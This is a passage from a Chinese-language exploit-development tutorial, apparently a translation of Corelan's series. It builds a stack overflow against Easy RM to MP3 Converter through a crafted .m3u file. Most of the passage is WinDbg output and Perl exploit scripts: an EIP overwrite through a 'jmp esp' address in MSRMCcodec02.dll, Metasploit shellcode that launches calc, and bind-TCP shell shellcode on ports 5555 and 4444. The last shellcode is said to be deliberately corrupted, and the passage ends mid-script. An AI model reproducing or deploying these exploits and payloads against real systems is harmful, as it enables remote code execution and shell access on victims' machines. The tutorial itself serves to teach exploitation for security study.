print $FILE $junk.$eip.$preshellcode.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

让程序崩溃然后再次看 ESP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:000> d esp
000ff730 31 41 42 43 44 45 46 47-48 49 4a 4b 32 41 42 43 1ABCDEFGHIJK2ABC
000ff740 44 45 46 47 48 49 4a 4b-33 41 42 43 44 45 46 47 DEFGHIJK3ABCDEFG
000ff750 48 49 4a 4b 34 41 42 43-44 45 46 47 48 49 4a 4b HIJK4ABCDEFGHIJK
000ff760 35 41 42 43 44 45 46 47-48 49 4a 4b 36 41 42 43 5ABCDEFGHIJK6ABC
000ff770 44 45 46 47 48 49 4a 4b-37 41 42 43 44 45 46 47 DEFGHIJK7ABCDEFG
000ff780 48 49 4a 4b 38 41 42 43-44 45 46 47 48 49 4a 4b HIJK8ABCDEFGHIJK
000ff790 39 41 42 43 44 45 46 47-48 49 4a 4b 41 41 42 43 9ABCDEFGHIJKAABC
000ff7a0 44 45 46 47 48 49 4a 4b-42 41 42 43 44 45 46 47 DEFGHIJKBABCDEFG
0:000> d
000ff7b0 48 49 4a 4b 43 41 42 43-44 45 46 47 48 49 4a 4b HIJKCABCDEFGHIJK
000ff7c0 00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA
000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

  很好!

  我们现在有:

  • 控制了 EIP
  • 一个我们可以写入自己的代码的地方(至少是 144字节。如果你使用更长的格式做更多的测试,你会发现你有更多的空间)
  • 一个在地址 0x000ff730 直接指向我们的代码的寄存器

  现在我们需要做的是:

  • 构造一段真正的 shellcode
  • 告诉 EIP 跳转到 我们的 shellcode 开始的地址,我们可以通过使用地址 0x000ff730地址覆盖 EIP 达到此目的

  接着看

  我们将构造一个小的测试例子:首先 26094个A,然后是使用 000ff730覆盖 EIP,然后25个 NOP,然后一个暂停,然后更多的 NOP。

  如果一切正常,EIP 应该跳转到 000ff730,并且包含一些NOP。这个代码应该持续到那个暂停。

1
2
3
4
5
6
7
8
9
10
11
12
13
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);

my $shellcode = "\x90" x 25;

$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n"

  程序崩溃了,但是我们希望是一个暂停而不是违反访问。

  当我们观察 EIP 的时候,它指向 000ff730,ESP也是这样。

  当我们导出 ESP,我们没有看到我们期望看到的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=0000662c
eip=000ff730 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0xff71f:
000ff730 0000 add byte ptr [eax],al ds:0023:00000001=??
0:000> d esp
000ff730 00 00 00 00 06 00 00 00-58 4a 10 00 01 00 00 00 ........XJ......
000ff740 30 f7 0f 00 00 00 00 00-41 41 41 41 41 41 41 41 0.......AAAAAAAA
000ff750 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff770 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff780 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff790 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

  所以直接跳转到一个内存地址可能不是一个好的方法(毕竟 000ff730 包含一个空字符,它是一个终止符,所以你看到的 A 来自 buffer 的第一部分,我们从未到达在覆盖 EIP 之后开始编写数据的地方。而且,在 exploit 中使用一个内存地址去跳转会让这个 exploit 变得不稳定。毕竟这个内存地址在其他操作系统、语言等中应该不同)

  长话短说:我们不能只是使用一个像 000ff730的直接的内存地址去覆盖 EIP。它不是一个好的主意,因为它不稳定,并且因为它包含一个空字节。我们必须使用另一个方法去达到相同的目的:让程序跳转到我们提供的代码。理想化地,我们应该能够引用一个寄存器(或者便宜至寄存器),在我们的例子中是 ESP,并且找到一个将跳转至寄存器的函数。然后我们将尝试使用这个函数的地址去覆盖 EIP 。


使用稳定的方式跳转至 shellcode

  我们已经成功让 ESP 确切的指向了我们的 shellcode(或者,如果你以不同的角度去看待它,ESP 直接指向我们的 shellcode 的开头)。如果不是这样的。我们将查看其他的寄存器的内容,希望找到我们的 buffer 返回。不管怎样,在这个练习例子中,我们可以使用 ESP。

  使用 ESP 的地址去覆盖 EIP的推论结果是我们想持续跳转到 ESP 并且执行 shellcode。

  在 Windows 程序中跳转到 ESP 是一件很平常的事。事实上,Windows 程序使用一个或多个 dll,并且这些 dll 包含了大量指令。此外,这些 dll 使用的地址是完全静止的。所以如果我们发现一个带有跳转至 esp 的指令的 dll,并且如果我们可以使用这个dll 的指令的地址去覆盖 EIP,那么它应该会起作用,对吗?

  接着看。首先,我们需要计算出 “jmp esp” 的操作码是多少。

  我们可以通过启动 Easy RM to MP3,然后打开 windbg 然后将 windbg 与 Easy RM to MP3 程序连接得出结果。(只是连接至进程,不需要对 Easy RM to MP3 做任何操作。),这将会给我们可以看到所有被加载至这个程序的 dll’s/modules。(这是我提及的为什么它将变得清楚)

image

image

  在将调试器附加到进程的时候,程序将会中断。

  在 windbg 命令行中,在屏幕的底端,输入 a(集合)然后按下回车

  现在输入 jmp esp 然后按下回车

image

image

  再次按下回车。

  现在输入 u(拆开)然后输入之前输入 jmp esp 后显示的地址。

1
2
3
4
5
6
7
8
9
10
11
0:014> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e ffe4 jmp esp
7c901210 8bff mov edi,edi
ntdll!DbgUserBreakPoint:
7c901212 cc int 3
7c901213 c3 ret
7c901214 8bff mov edi,edi
7c901216 8b442404 mov eax,dword ptr [esp+4]
7c90121a cc int 3
7c90121b c20400 ret 4

  7c90120e 的旁边,你可以看到 ffe4。这是 jmp esp 的操作码

  现在我们需要找到哪个 dll 加载了这个操作码。

  注意 windbg 窗口的顶部,然后观察每行看哪个 dll 属于 Easy RM to MP3 程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
Copyright (c) Microsoft Corporation. All rights reserved.

*** wait with pending attach
Symbol search path is: *** Invalid ***
****************************************************************************
* Symbol loading may be unreliable without a symbol search path. *
* Use .symfix to have the debugger choose a symbol path. *
* After setting your symbol path, use .reload to refresh symbol locations. *
****************************************************************************
Executable search path is:
ModLoad: 00400000 004be000 C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe
ModLoad: 7c900000 7c9b2000 C:\WINDOWS\system32\ntdll.dll
ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll
ModLoad: 78050000 78120000 C:\WINDOWS\system32\WININET.dll
ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll
ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e70000 77f02000 C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.dll
ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll
ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll
ModLoad: 00330000 00339000 C:\WINDOWS\system32\Normaliz.dll
ModLoad: 78000000 78045000 C:\WINDOWS\system32\iertutil.dll
ModLoad: 77c00000 77c08000 C:\WINDOWS\system32\VERSION.dll
ModLoad: 73dd0000 73ece000 C:\WINDOWS\system32\MFC42.DLL
ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\comdlg32.dll
ModLoad: 5d090000 5d12a000 C:\WINDOWS\system32\COMCTL32.dll
ModLoad: 7c9c0000 7d1d7000 C:\WINDOWS\system32\SHELL32.dll
ModLoad: 76080000 760e5000 C:\WINDOWS\system32\MSVCP60.dll
ModLoad: 76b40000 76b6d000 C:\WINDOWS\system32\WINMM.dll
ModLoad: 76390000 763ad000 C:\WINDOWS\system32\IMM32.DLL
ModLoad: 773d0000 774d3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll
ModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.dll
ModLoad: 755c0000 755ee000 C:\WINDOWS\system32\msctfime.ime
ModLoad: 774e0000 7761d000 C:\WINDOWS\system32\ole32.dll
ModLoad: 10000000 10071000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll
ModLoad: 71ab0000 71ac7000 C:\WINDOWS\system32\WS2_32.dll
ModLoad: 71aa0000 71aa8000 C:\WINDOWS\system32\WS2HELP.dll
ModLoad: 00ce0000 00d7f000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
ModLoad: 01a90000 01b01000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
ModLoad: 00c80000 00c87000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
ModLoad: 01b10000 01fdd000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
ModLoad: 01fe0000 01ff1000 C:\WINDOWS\system32\MSVCIRT.dll
ModLoad: 77120000 771ab000 C:\WINDOWS\system32\OLEAUT32.dll

  如果我们可以发现属于这些 dll 其中一个的操作码,那么我们会有一个好的机会使 exploit 在所有 windows 平台都稳定。如果我们需要使用属于操作系统的 dll,那么我们可能会发现 exploit 在其他版本的操作系统中不起作用。所以首先让我们搜索 Easy RM to MP3 的某个 dll 的区域。

  我们将查看 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll 的区域。这个 dll 在 01b10000 和 01fd000 中被加载。在这个区域寻找 ff e4:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:014> s 01b10000 l 01fdd000 ff e4
01ccf23a ff e4 ff 8d 4e 10 c7 44-24 10 ff ff ff ff e8 f3 ....N..D$.......
01d0023f ff e4 fb 4d 1b a6 9c ff-ff 54 a2 ea 1a d9 9c ff ...M.....T......
01d1d3db ff e4 ca ce 01 20 05 93-19 09 00 00 00 00 d4 d1 ..... ..........
01d3b22a ff e4 07 07 f2 01 57 f2-5d 1c d3 e8 09 22 d5 d0 ......W.]...."..
01d3b72d ff e4 09 7d e4 ad 37 df-e7 cf 25 23 c9 a0 4a 26 ...}..7...%#..J&
01d3cd89 ff e4 03 35 f2 82 6f d1-0c 4a e4 19 30 f7 b7 bf ...5..o..J..0...
01d45c9e ff e4 5c 2e 95 bb 16 16-79 e7 8e 15 8d f6 f7 fb ..\.....y.......
01d503d9 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.
01d51400 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P
01d5736d ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.
01d5ce34 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P
01d60159 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.
01d62ec0 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P
0221135b ff e4 49 20 02 e8 49 20-02 00 00 00 00 ff ff ff ..I ..I ........
0258ea53 ff e4 ec 58 02 00 00 00-00 00 00 00 00 08 02 a8 ...X............

  太棒了。(我没有期待出现其他情况,因为 jmp esp 是一个非常常见的指令)。当选择这个地址时,寻找空字节是十分重要的。你应该尝试避免使用空字节地址(特别是你需要使用来自覆盖 EIP 之后的 buffer 数据。空字节将会成为字符串终止符并且其他 buffer 数据将变得不能被使用)

  另一个好的搜索操作码的区域是:

  “s 70000000 | ffffffff ff e4”(通常会给出来自 windows dll 的结果)

  注意:还有其他方法获得操作码地址:

  • findjmp(来自 Ryan Permeh):编译 findjmp.c 并且使用以下参数运行:

findjmp . Suppose you want to look for jumps to esp in kernel32.dll, run “findjmp kernel32.dll esp”

On Vista SP2, you should get something like this :

Findjmp, Eeye, I2S-LaB

Findjmp2, Hat-Squad

Scanning kernel32.dll for code useable with the esp register

0x773AF74B call esp

Finished Scanning kernel32.dll for code useable with the esp register

Found 1 usable addresses

  • Metasploit 操作码数据库
  • memdunp(详情见下一篇教程)
  • pvefindaddr,一个 Immunity Debugger 的插件。事实上,这是最受推荐的方式,因为它将自动过滤不稳定的指针

  因为我们想要将我们的 shellcode 放置到 ESP 中(在覆盖 EIP 之后,放置我们的 payload),列表里的 jmp esp 必须没有空字节。如果这个地址有空字节,我们将用一个包含空字节的地址覆盖 EIP。空字节作用为一个终止符,所以后面的被忽略了。在一些情况下,以有一个空字节开始的的地址将会有效。如果地址开始于一个空字节,因为从小到大的模式,这个空字节将是 EIP 寄存器的最后个字节。并且如果你在覆盖 EIP 后没有发送如何 payload(所以如果 shellcode 在覆盖 EIP 之前添加,它仍然可以通过寄存器访问),那么将会有效。

  不管怎样,我们将使用覆盖 EIP 后的 payload 来托管我们的 shellcode,所以这个地址不应该包含空字节。

  第一个尝试的地址:0x01ccf23a

  验证此地址是否包含 jmp sep(因此在 01ccf23a 中将指令解汇编):

1
2
3
4
5
6
7
8
9
10
0:014> u 01ccf23a
MSRMCcodec02!CAudioOutWindows::WaveOutWndProc+0x8bfea:
01ccf23a ffe4 jmp esp
01ccf23c ff8d4e10c744 dec dword ptr +0x44c7104d (44c7104e)[ebp]
01ccf242 2410 and al,10h
01ccf244 ff ???
01ccf245 ff ???
01ccf246 ff ???
01ccf247 ff ???
01ccf248 e8f3fee4ff call MSRMCcodec02!CTN_WriteHead+0xd320 (01b1f140)

  如果我们现在使用 0x01ccf23a 覆盖 EIP,jmp esp 将会被执行。ESP 包含我们的shellcode,所以我们现在有了一个有效的 exploit。让我们使用“Nop & break”测试。

  关闭 windbg。

  使用下面的脚本创建一个新的 m3u 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x01ccf23a);

my $shellcode = "\x90" x 25;

$shellcode = $shellcode."\xcc"; #this will cause the application to break, simulating shellcode, but allowing you to further debug
$shellcode = $shellcode."\x90" x 25;

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

  再次运行这个程序,连接至 windbg,按下“g”让它续运行,然后在这个程序内打开新的 m3u 文件。

  现在程序在我们的第一个的崩溃地址 000ff745 处崩溃。所以 jmp esp 正常的运行了(esp 开始于 000ff730。但是不包含 NOPs 一直到 000ff744)。

  现在我们需要做的是 放入我们真正的 shellcode 然后完成这个 exploit。

  再次关闭 windbg。


获取 shellcode 然后完成 exploit

  Metasploit 有一个很好的 payload 生成器,将会帮助你构造 shellcode。Payload 有多种选择,并且可大可小(取决于目的是什么)。如果在缓冲区空间方面存在大小限制,那么你甚至可能希望查看多级 shellcode。或者使用特别手工制作的 shellcode 比如这个(XP SP2 英文版下的23字节的 cmd.exe 的 shellcode)。或者,你可以你可以分割你的 shellcode 放入更小的“鸡蛋”里并且在执行 shellcode 之前,使用一种被称为 ”猎蛋(egg-hunting)“的技术来重新组装它。教程第八部分以及第十部分将深入讨论。

  假设我们想让计算器作为我们的 exploit payload,那么 shellcode 应该是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

  完成 perl 脚本,然后尝试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exploitrmtomp3.m3u";

my $junk= "A" x 26094;
my $eip = pack('V',0x01ccf23a); #jmp esp from MSRMCcodec02.dll

my $shellcode = "\x90" x 25;

# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

  首先,关闭 autopopup 注册表设置,防止调试器接管。创建 m3u文件,打开它然后看程序崩溃(然后 计算器也会被打开)。

  完成!我们有了第一个有效的 exploit!

image

image

你可能已经注意到,我在 shellcode 前保留了 25个 NOP(0x90).现在不要想太多,随着你继续学习 exploit(以及当你到达关于编写 shellcode 的章节时),你将了解为什么需要这样做。


如果你想做一些其他的事而不是启动计算器?

  你可以创建其他的 shellcode 并且使用新的 shellcode 来替换 “启动计算器” shellcode,但是代码可能不会很好的运行,因为这个 shellcode 可能更大,内存位置可能不同,并且更长的 shellcode 会增加 shellcode 中 无效字符的风险,这些字符需要过滤掉。

  假设我们希望漏洞绑定到端口,以便远程黑客能够连接并且获得命令行。

  shellcode 应该是这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# windows/shell_bind_tcp - 344 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, LPORT=5555, RHOST=
"\x31\xc9\xbf\xd3\xc0\x5c\x46\xdb\xc0\xd9\x74\x24\xf4\x5d" .
"\xb1\x50\x83\xed\xfc\x31\x7d\x0d\x03\x7d\xde\x22\xa9\xba" .
"\x8a\x49\x1f\xab\xb3\x71\x5f\xd4\x23\x05\xcc\x0f\x87\x92" .
"\x48\x6c\x4c\xd8\x57\xf4\x53\xce\xd3\x4b\x4b\x9b\xbb\x73" .
"\x6a\x70\x0a\xff\x58\x0d\x8c\x11\x91\xd1\x16\x41\x55\x11" .
"\x5c\x9d\x94\x58\x90\xa0\xd4\xb6\x5f\x99\x8c\x6c\x88\xab" .
"\xc9\xe6\x97\x77\x10\x12\x41\xf3\x1e\xaf\x05\x5c\x02\x2e" .
"\xf1\x60\x16\xbb\x8c\x0b\x42\xa7\xef\x10\xbb\x0c\x8b\x1d" .
"\xf8\x82\xdf\x62\xf2\x69\xaf\x7e\xa7\xe5\x10\x77\xe9\x91" .
"\x1e\xc9\x1b\x8e\x4f\x29\xf5\x28\x23\xb3\x91\x87\xf1\x53" .
"\x16\x9b\xc7\xfc\x8c\xa4\xf8\x6b\xe7\xb6\x05\x50\xa7\xb7" .
"\x20\xf8\xce\xad\xab\x86\x3d\x25\x36\xdc\xd7\x34\xc9\x0e" .
"\x4f\xe0\x3c\x5a\x22\x45\xc0\x72\x6f\x39\x6d\x28\xdc\xfe" .
"\xc2\x8d\xb1\xff\x35\x77\x5d\x15\x05\x1e\xce\x9c\x88\x4a" .
"\x98\x3a\x50\x05\x9f\x14\x9a\x33\x75\x8b\x35\xe9\x76\x7b" .
"\xdd\xb5\x25\x52\xf7\xe1\xca\x7d\x54\x5b\xcb\x52\x33\x86" .
"\x7a\xd5\x8d\x1f\x83\x0f\x5d\xf4\x2f\xe5\xa1\x24\x5c\x6d" .
"\xb9\xbc\xa4\x17\x12\xc0\xfe\xbd\x63\xee\x98\x57\xf8\x69" .
"\x0c\xcb\x6d\xff\x29\x61\x3e\xa6\x98\xba\x37\xbf\xb0\x06" .
"\xc1\xa2\x75\x47\x22\x88\x8b\x05\xe8\x33\x31\xa6\x61\x46" .
"\xcf\x8e\x2e\xf2\x84\x87\x42\xfb\x69\x41\x5c\x76\xc9\x91" .
"\x74\x22\x86\x3f\x28\x84\x79\xaa\xcb\x77\x28\x7f\x9d\x88" .
"\x1a\x17\xb0\xae\x9f\x26\x99\xaf\x49\xdc\xe1\xaf\x42\xde" .
"\xce\xdb\xfb\xdc\x6c\x1f\x67\xe2\xa5\xf2\x98\xcc\x22\x03" .
"\xec\xe9\xed\xb0\x0f\x27\xee\xe7";

  正如你所看到的,shellcode 的长度为 344字节(启动计算器只需要 144字节)。

  如果你只是复制粘贴这个 shellcode,你可能会看到这个有漏洞的程序不会再崩溃。

image

image

  这很可能表明 shellcode 缓冲区大小有问题(但是你可以测试缓冲区大小,你会注意到不是这个问题)。或者我们在 shellcode 中使用了无效的字符。在使用 Metasploit 构建 shellcode 时,可以排除无效字符,但是必须知道哪些字符是被允许的,哪些是不被允许的。默认情况下,空字符是受限制的(因为他们肯定会破坏 exploit),但是其他字符是什么?

  m3u 文件应该包含文件名。因此一个好的开始是过滤掉文件和文件路径中不被运行的所有字符。你还可以使用另一个解码器来限制整个字符集。我们已经使用了 shikata_ga_nai,但是可能 alpha_upper 更适合文件名。使用另一种编码方式很可能会增加 shellcode 的长度,但是我们已经知道(或者我们可以模拟)大小不是一个大问题。

  让我们尝试使用 alpha_upper 编码器构建一个 tcp shell bind shellcode,我们将一个 shell 绑定到本地端口 4444,新的 shellcode 的长度是 703字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# windows/shell_bind_tcp - 703 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=4444, RHOST=
"\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" .
"\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" .
"\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47" .
"\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a" .
"\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43" .
"\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a" .
"\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44" .
"\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a" .
"\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a" .
"\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c" .
"\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" .
"\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" .
"\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50" .
"\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45" .
"\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c" .
"\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43" .
"\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43" .
<...>
"\x50\x41\x41";

  让我们使用这个新的 shellcode,新的 exploit 应该是这样的:附注:我手动破坏了这里显示的 shellcode。因此如果你复制和粘贴,它将不会有效。但你现在应该知道如何构造一个有效的 exploit。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exploitrmtomp3.m3u";

my $junk= "A" x 26094;
my $eip = pack('V',0x01ccf23a); #jmp esp from MSRMCcodec02.dll

my $shellcode = "\x90" x 25;

# windows/shell_bind_tcp - 703 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=4444, RHOST=
$shellcode=$shellcode."\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x00\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" .
"\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" .
"\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47" .
"\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a" .
"\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43" .
"\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a" .
"\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44" .
"\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a" .
"\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a" .
"\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c" .
"\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" .
"\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" .
"\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50" .
